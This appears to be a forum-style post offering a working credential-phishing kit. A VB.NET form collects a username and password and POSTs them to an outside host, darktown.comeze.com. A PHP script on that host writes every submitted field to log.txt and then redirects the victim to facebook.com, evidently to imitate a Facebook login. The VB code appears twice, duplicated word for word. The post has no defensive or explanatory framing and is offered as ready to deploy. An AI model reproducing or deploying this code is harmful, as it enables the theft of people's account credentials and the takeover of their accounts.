what is need
2 textboxes
and a button
web server required
url to log.txt
Imports System.Net
Imports System.Text
Imports System.IO
Public Class Form1
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim errorString As String = "Test String"
Dim postData = "user_Name= " & TextBox1.Text & vbCrLf
Dim postData1 = "Password= " & TextBox2.Text
Dim request As WebRequest = WebRequest.Create("http://darktown.comeze.com/i.php?")
request.Credentials = CredentialCache.DefaultCredentials
CType(request, HttpWebRequest).UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
request.Method = "POST"
Dim byteArray As Byte() = Encoding.ASCII.GetBytes(postData + postData1)
request.ContentType = "application/x-www-form-urlencoded"
request.ContentLength = byteArray.Length
Dim dataStream As Stream = request.GetRequestStream()
dataStream.Write(byteArray, 0, byteArray.Length)
dataStream.Close()
Dim response As WebResponse = request.GetResponse()
'dataStream = response.GetResponseStream()
Console.WriteLine(CType(response, HttpWebResponse).StatusDescription)
dataStream = response.GetResponseStream()
Dim reader As New StreamReader(dataStream)
Dim responseFromServer As String = reader.ReadToEnd()
reader.Close()
dataStream.Close()
response.Close()
Debug.Print(responseFromServer)
Try
Catch ex As Exception
MsgBox(ex.Message.ToString)
End Try
End Sub
End Class
2 textboxes
and a button
web server required
PHP Code:
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
header ('Location: http://www.facebook.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
url to log.txt
Imports System.Net
Imports System.Text
Imports System.IO
Public Class Form1
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim errorString As String = "Test String"
Dim postData = "user_Name= " & TextBox1.Text & vbCrLf
Dim postData1 = "Password= " & TextBox2.Text
Dim request As WebRequest = WebRequest.Create("http://darktown.comeze.com/i.php?")
request.Credentials = CredentialCache.DefaultCredentials
CType(request, HttpWebRequest).UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
request.Method = "POST"
Dim byteArray As Byte() = Encoding.ASCII.GetBytes(postData + postData1)
request.ContentType = "application/x-www-form-urlencoded"
request.ContentLength = byteArray.Length
Dim dataStream As Stream = request.GetRequestStream()
dataStream.Write(byteArray, 0, byteArray.Length)
dataStream.Close()
Dim response As WebResponse = request.GetResponse()
'dataStream = response.GetResponseStream()
Console.WriteLine(CType(response, HttpWebResponse).StatusDescription)
dataStream = response.GetResponseStream()
Dim reader As New StreamReader(dataStream)
Dim responseFromServer As String = reader.ReadToEnd()
reader.Close()
dataStream.Close()
response.Close()
Debug.Print(responseFromServer)
Try
Catch ex As Exception
MsgBox(ex.Message.ToString)
End Try
End Sub
End Class